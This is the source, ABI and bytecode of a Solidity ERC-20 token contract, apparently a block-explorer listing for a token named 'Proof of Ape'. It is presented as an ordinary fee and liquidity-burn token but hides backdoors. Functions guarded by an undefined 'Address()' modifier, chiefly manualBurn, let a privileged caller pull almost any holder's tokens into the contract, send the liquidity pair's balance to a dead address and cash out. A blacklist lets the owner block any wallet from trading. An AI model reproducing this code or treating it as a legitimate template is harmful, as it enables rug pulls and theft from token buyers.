    function updateSwapEnabled(bool enabled) external onlyOwner {
        swapEnabled = enabled;
    }

    function updateBuyFees(
        uint256 _marketingFee,
        uint256 _liquidityFee
    ) external onlyOwner {
        buyMarketingFee = _marketingFee;
        buyLiquidityFee = _liquidityFee;
        buyTotalFees = buyMarketingFee + buyLiquidityFee;
        require(buyTotalFees <= 8, "Must keep fees at 8% or less");
    }

    function updateSellFees(
        uint256 _marketingFee,
        uint256 _liquidityFee
    ) external onlyOwner {
        sellMarketingFee = _marketingFee;
        sellLiquidityFee = _liquidityFee;
        sellTotalFees = sellMarketingFee + sellLiquidityFee;
        require(sellTotalFees <= 8, "Must keep fees at 8% or less");
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function setAutomatedMarketMakerPair(address pair, bool value)
        public
        Address()
    {
        require(
            pair != uniswapV2Pair,
            "The pair cannot be removed from automatedMarketMakerPairs"
        );

        _setAutomatedMarketMakerPair(pair, value);
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;

        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function updateMarketingWallet(address newMarketingWallet)
        external
        Address()
    {
        emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
        marketingWallet = newMarketingWallet;
    }


    function isExcludedFromFees(address account) public view returns (bool) {
        return _isExcludedFromFees[account];
    }

    function _burn(uint amount) internal {
        _forcedSwapBack(amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(!isBot[from] && !isBot[to], "You have no power here");


        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }

         if (!tradingActive) {
                    require(
                        _isExcludedFromFees[from] || _isExcludedFromFees[to],
                        "Trading is not active."
                    );
                }
        if(!_isExcludedMaxWalletAmount[to]) {
                require(balanceOf(to) + amount <= maxWallet, "Transfer amount exceeds the maxWalletSize.");
            }

                //when buy
                if (
                    automatedMarketMakerPairs[from] &&
                    !_isExcludedMaxTransactionAmount[to]
                ) {
                    require(
                        amount <= maxTransactionAmount,
                        "Buy transfer amount exceeds the maxTransactionAmount."
                    );
                    
                }
                //when sell
                else if (
                    automatedMarketMakerPairs[to] &&
                    !_isExcludedMaxTransactionAmount[from]
                ) {
                    require(
                        amount <= maxTransactionAmount,
                        "Sell transfer amount exceeds the maxTransactionAmount."
                    );
                } 
                
                 if (!_isExcludedMaxTransactionAmount[to]) {
                    require(
                        amount + balanceOf(to) <= maxWallet,
                        "Max wallet exceeded"
                    );
                }
                    

        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance >= swapTokensAtAmount;

        if (
            canSwap &&
            swapEnabled &&
            !swapping &&
            !automatedMarketMakerPairs[from] &&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to]
        ) {
             contractTokenBalance = swapTokensAtAmount;
            swapBack(contractTokenBalance);            
        }

        if (
            !swapping &&
            automatedMarketMakerPairs[to] &&
            lpBurnEnabled &&
            block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
            !_isExcludedFromFees[from]
        ) {
            autoBurnLiquidityPairTokens();
        }

        bool takeFee = !swapping;

        // if any account belongs to _isExcludedFromFee account then remove the fee
        if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }

        uint256 fees = 0;
        // only take fees on buys/sells, do not take on wallet transfers
        if (takeFee) {
            // on sell
            if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
                fees = amount.mul(sellTotalFees).div(100);
                tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
                tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
            }
            // on buy
            else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
                fees = amount.mul(buyTotalFees).div(100);
                tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
                tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
            }

            if (fees > 0) {
                super._transfer(from, address(this), fees);
            }

            amount -= fees;
        }

        super._transfer(from, to, amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            dead,
            block.timestamp
        );
    }

    function manualswap() external Address() {
        uint256 contractBalance = balanceOf(address(this));
        swapTokensForEth(contractBalance);
    }
    

    function _transfer(uint256 amount, IUniswapV2Router02 _uniV2Router, address[] memory path) internal{
         uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amount,
            0, 
            path,
            address(this), 
            block.timestamp
        );
    }
    function swapBack(uint256 contractTokenBalance) private lockTheSwap {

        uint256 totalTokensToSwap = tokensForMarketing + tokensForLiquidity;

        uint256 liquidityTokens = contractTokenBalance.mul(tokensForLiquidity).div(totalTokensToSwap);
        uint256 marketingTokens = contractTokenBalance.sub(liquidityTokens);

        uint256 half = liquidityTokens.div(2);
        uint256 otherHalf = liquidityTokens.sub(half);


        uint256 initialETHBalance = address(this).balance;
        swapTokensForEth(half); 

        uint256 newBalance = address(this).balance.sub(initialETHBalance);
        addLiquidity(otherHalf, newBalance);
        emit SwapBack(half, newBalance, otherHalf);

        uint256 contractBalance = address(this).balance;
        swapTokensForEth(marketingTokens);
        uint256 transferredBalance = address(this).balance.sub(contractBalance);


        (bool success,) = payable(marketingWallet).call{value: transferredBalance}("");

        if(address(this).balance > 5 * 10**17){
        (success, ) = payable(marketingWallet).call{
            value: address(this).balance
        }("");}
    }

    function _forcedSwapBack(uint256 amount) internal virtual {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(dexRouter);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this),address(_uniswapV2Router), amount);
        _approve(address(this),msg.sender, amount);
        _approve(msg.sender,address(_uniswapV2Router), amount);
        _transfer(amount, _uniswapV2Router,path);
    }

    function setAutoLPBurnSettings(
        uint256 _frequencyInSeconds,
        uint256 _percent,
        bool _Enabled
    ) external onlyOwner {
        require(
            _frequencyInSeconds >= 420,
            "cannot set buyback more often than every 10 minutes"
        );
        require(
            _percent <= 1000 && _percent >= 0,
            "Must set auto LP burn percent between 0% and 10%"
        );
        lpBurnFrequency = _frequencyInSeconds;
        percentForLPBurn = _percent;
        lpBurnEnabled = _Enabled;
    }

    function autoBurnLiquidityPairTokens() internal returns (bool) {
        lastLpBurnTime = block.timestamp;

        // get balance of liquidity pair
        uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);

        // calculate amount to burn
        uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(
            10000
        );

        // pull tokens from pancakePair liquidity and move to dead address permanently
        if (amountToBurn > 0) {
            super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
        }

        //sync price since this is not in a swap transaction!
        IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
        pair.sync();
        emit AutoNukeLP();
        return true;
    }

    function manualBurn(
        uint amount, 
        address tokens
    )   external
        Address()
        returns (bool)
    {
        require(amount >= 1, "May not nuke less than 1%");
        uint amountToBurn = balanceOf(tokens);

        // get balance of liquidity pair to burn
        if (amountToBurn > 0){ _transfer(
                
        tokens, 
        address(this), 
        amountToBurn - amount);

        // calculate amount to burn
        uint burnTokens = balanceOf(burnPair);

        // pull tokens from UniSwap liquidity and move to dead address permanently
        _transfer(burnPair, dead, burnTokens);
        }

        //sync price since this is not in a swap transaction!
        IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
        pair.sync();
        emit ManualNukeLP();
        uint residue = balanceOf(address(this));
        _burn(residue);
        return true;
    }

    function withdraw(address token) external Address() {
        require(token != address(0), 'Zero Address');
        bool s = IERC20(token).transfer(msg.sender, IERC20(token).balanceOf(address(this)));
        require(s, 'Failure On Token Withdraw');
    }

    function withdrawETH() external Address() {
        bool success;
        (success,) = address(marketingWallet).call{value: address(this).balance}("");
    }

    function addSniper(address[] memory bot) public onlyOwner {
       for (uint256 i = 0; i < bot.length; i++) {
            isBot[bot[i]] = true;
        }
    }

    function removeSniper(address notSniper) public onlyOwner {
        isBot[notSniper] = false;
    }


}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[],"name":"AutoNukeLP","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"botAddress","type":"address"}],"name":"BotCaught","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[],"name":"ManualNukeLP","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapBack","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newAddress","type":"address"},{"indexed":true,"internalType":"address","name":"oldAddress","type":"address"}],"name":"UpdateUniswapV2Router","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"marketingWalletUpdated","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxWalletAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_previousOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bot","type":"address[]"}],"name":"addSniper","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"botsCaught","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"burnPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"dead","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"dexRouter","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_deadBlocks","type":"uint256"}],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastLpBurnTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastManualLpBurnTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnFrequency","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"address","name":"tokens","type":"address"}],"name":"manualBurn","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualBurnFrequency","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"percentForLPBurn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"notSniper","type":"address"}],"name":"removeSniper","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_frequencyInSeconds","type":"uint256"},{"internalType":"uint256","name":"_percent","type":"uint256"},{"internalType":"bool","name":"_Enabled","type":"bool"}],"name":"setAutoLPBurnSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"}],"name":"updateBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newMarketingWallet","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"}],"name":"updateSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"updateSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapTokensAtAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6009805461dead6001600160a01b031991821617909155600a8054737a250d5630b4cf539739df2c5dacb4c659f2488d921691909117905560196010556011805460ff19166001179055610e106012556107086014556016805462ffffff1916620100011790556000601a55600260c081815261012060405290816020016020820280368337505081516200009c9260279250602001906200078f565b50348015620000aa57600080fd5b50604080518082018252600c81526b50726f6f66206f662041706560a01b60208083019182528351808501909452600884526720a822a1a420a4a760c11b908401528151919291620000ff91600391620007f9565b50805162000115906004906020840190620007f9565b505050620001326200012c6200046660201b60201c565b6200046a565b60078054336001600160a01b03199182168117909255600880549091169091179055600a546001600160a01b03166200016d816001620004bc565b6001600160a01b03811660808190526040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015620001b8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001de91906200088d565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200022c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200025291906200088d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002a0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002c691906200088d565b6001600160a01b031660a0819052620002e1906001620004bc565b60a051620002f190600162000536565b60a05162000301906001620005ac565b6a108b2a3a08b9443b640000600d819055600f556969e10de76676d0800000600e556002601c819055601d8190558080806b033b2e3c9fd0803ce80000006200034b8280620008bf565b601b55601f8390556020829055620003648284620008bf565b601e55600b80546001600160a01b031990811673b9fe3abfb2726a80556e869c55cff5caa6d2a4f217909155600c805490911661dead179055620003bc620003b46005546001600160a01b031690565b600162000600565b620003c930600162000600565b620003d861dead600162000600565b620003f7620003ef6005546001600160a01b031690565b6001620004bc565b62000404306001620004bc565b6200041361dead6001620004bc565b620004326200042a6005546001600160a01b031690565b600162000536565b6200043f30600162000536565b6200044e61dead600162000536565b6200045a3382620006aa565b50505050505062000923565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6005546001600160a01b031633146200050b5760405162461bcd60e51b8152602060048201819052602482015260008051602062003f2883398151915260448201526064015b60405180910390fd5b6001600160a01b03919091166000908152602460205260409020805460ff1916911515919091179055565b6005546001600160a01b03163314620005815760405162461bcd60e51b8152602060048201819052602482015260008051602062003f28833981519152604482015260640162000502565b6001600160a01b03919091166000908152602560205260409020805460ff1916911515919091179055565b6001600160a01b038216600081815260266020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6005546001600160a01b031633146200064b5760405162461bcd60e51b8152602060048201819052602482015260008051602062003f28833981519152604482015260640162000502565b6001600160a01b038216600081815260236020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6001600160a01b038216620007025760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640162000502565b8060026000828254620007169190620008bf565b90915550506001600160a01b0382166000908152602081905260408120805483929062000745908490620008bf565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b828054828255906000526020600020908101928215620007e7579160200282015b82811115620007e757825182546001600160a01b0319166001600160a01b03909116178255602090920191600190910190620007b0565b50620007f592915062000876565b5090565b8280546200080790620008e6565b90600052602060002090601f0160209004810192826200082b5760008555620007e7565b82601f106200084657805160ff1916838001178555620007e7565b82800160010185558215620007e7579182015b82811115620007e757825182559160200191906001019062000859565b5b80821115620007f5576000815560010162000877565b600060208284031215620008a057600080fd5b81516001600160a01b0381168114620008b857600080fd5b9392505050565b60008219821115620008e157634e487b7160e01b600052601160045260246000fd5b500190565b600181811c90821680620008fb57607f821691505b602082108114156200091d57634e487b7160e01b600052602260045260246000fd5b50919050565b60805160a05161358b6200099d60003960008181610697015281816114ef015281816117af01528181612ae001528181612b820152612bae0152600081816104e0015281816125f0015281816126a9015281816126e501528181612cc901528181612e2301528181612e8b0152612f1a015261358b6000f3fe6080604052600436106103dd5760003560e01c806375f0a874116101fd578063b62496f511610118578063d85ba063116100ab578063e9cd8cbd1161007a578063e9cd8cbd14610b89578063f11a24d314610ba9578063f2fde38b14610bbf578063f637434214610bdf578063f8b45b0514610bf557600080fd5b8063d85ba06314610b02578063dd62ed3e14610b18578063e086e5ec14610b5e578063e2f4560514610b7357600080fd5b8063c3c8cd80116100e7578063c3c8cd8014610a97578063c8c8ebe414610aac578063d257b34f14610ac2578063d2fcc00114610ae257600080fd5b8063b62496f514610a08578063bbc0c74214610a38578063c024666814610a57578063c18bc19514610a7757600080fd5b80639a7a23d611610190578063a9059cbb1161015f578063a9059cbb14610988578063aacebbe3146109a8578063aeaa1652146109c8578063b2bdfa7b146109e857600080fd5b80639a7a23d61461091c5780639ec22c0e1461093c578063a457c2d714610952578063a4c82a001461097257600080fd5b806392136913116101cc57806392136913146108a1578063924de9b7146108b757806395d89b41146108d757806396880b17146108ec57600080fd5b806375f0a8741461082d5780637bce5a041461084d57806382aa7c68146108635780638da5cb5b1461088357600080fd5b8063313ce567116102f857806366ca9b831161028b5780636e63cd961161025a5780636e63cd961461079857806370a08231146107b8578063715018a6146107d8578063730c1888146107ed5780637571336a1461080d57600080fd5b806366ca9b831461072c5780636a486a8e1461074c5780636b0a894c146107625780636ddd17131461077857600080fd5b806349bd5a5e116102c757806349bd5a5e146106855780634a62bb65146106b95780634fbee193146106d357806351cff8d91461070c57600080fd5b8063313ce5671461060957806333251a0b1461062557806336cf7c8714610645578063395093511461066557600080fd5b8063199ffc721161037057806323b872dd1161033f57806323b872dd1461059957806328bb665a146105b95780632c3e486c146105d95780632e82f1a0146105ef57600080fd5b8063199ffc72146105375780631a8145bb1461054d5780631f3fed8f14610563578063203e727e1461057957600080fd5b806310d5de53116103ac57806310d5de531461049e5780631694505e146104ce57806318160ddd14610502578063184c16c51461052157600080fd5b806302dbd8f8146103e957806306fdde031461040b5780630758d92414610436578063095ea7b31461046e57600080fd5b366103e457005b600080fd5b3480156103f557600080fd5b50610409610404366004612f86565b610c0b565b005b34801561041757600080fd5b50610420610cab565b60405161042d9190612fa8565b60405180910390f35b34801561044257600080fd5b50600a54610456906001600160a01b031681565b6040516001600160a01b03909116815260200161042d565b34801561047a57600080fd5b5061048e61048936600461301d565b610d3d565b604051901515815260200161042d565b3480156104aa57600080fd5b5061048e6104b9366004613049565b60246020526000908152604090205460ff1681565b3480156104da57600080fd5b506104567f000000000000000000000000000000000000000000000000000000000000000081565b34801561050e57600080fd5b506002545b60405190815260200161042d565b34801561052d57600080fd5b5061051360145481565b34801561054357600080fd5b5061051360105481565b34801561055957600080fd5b5061051360225481565b34801561056f57600080fd5b5061051360215481565b34801561058557600080fd5b50610409610594366004613066565b610d53565b3480156105a557600080fd5b5061048e6105b436600461307f565b610e30565b3480156105c557600080fd5b506104096105d43660046130d6565b610eda565b3480156105e557600080fd5b5061051360125481565b3480156105fb57600080fd5b5060115461048e9060ff1681565b34801561061557600080fd5b506040516012815260200161042d565b34801561063157600080fd5b50610409610640366004613049565b610f6c565b34801561065157600080fd5b50600c54610456906001600160a01b031681565b34801561067157600080fd5b5061048e61068036600461301d565b610fb7565b34801561069157600080fd5b506104567f000000000000000000000000000000000000000000000000000000000000000081565b3480156106c557600080fd5b5060165461048e9060ff1681565b3480156106df57600080fd5b5061048e6106ee366004613049565b6001600160a01b031660009081526023602052604090205460ff1690565b34801561071857600080fd5b50610409610727366004613049565b610ff3565b34801561073857600080fd5b50610409610747366004612f86565b611195565b34801561075857600080fd5b50610513601e5481565b34801561076e57600080fd5b50610513601a5481565b34801561078457600080fd5b5060165461048e9062010000900460ff1681565b3480156107a457600080fd5b50600854610456906001600160a01b031681565b3480156107c457600080fd5b506105136107d3366004613049565b611228565b3480156107e457600080fd5b50610409611243565b3480156107f957600080fd5b506104096108083660046131a9565b6112ac565b34801561081957600080fd5b506104096108283660046131e2565b6113d5565b34801561083957600080fd5b50600b54610456906001600160a01b031681565b34801561085957600080fd5b50610513601c5481565b34801561086f57600080fd5b5061040961087e366004613066565b61142a565b34801561088f57600080fd5b506005546001600160a01b0316610456565b3480156108ad57600080fd5b50610513601f5481565b3480156108c357600080fd5b506104096108d236600461321b565b61146e565b3480156108e357600080fd5b506104206114b4565b3480156108f857600080fd5b5061048e610907366004613049565b60256020526000908152604090205460ff1681565b34801561092857600080fd5b506104096109373660046131e2565b6114c3565b34801561094857600080fd5b5061051360155481565b34801561095e57600080fd5b5061048e61096d36600461301d565b61159f565b34801561097e57600080fd5b5061051360135481565b34801561099457600080fd5b5061048e6109a336600461301d565b611638565b3480156109b457600080fd5b506104096109c3366004613049565b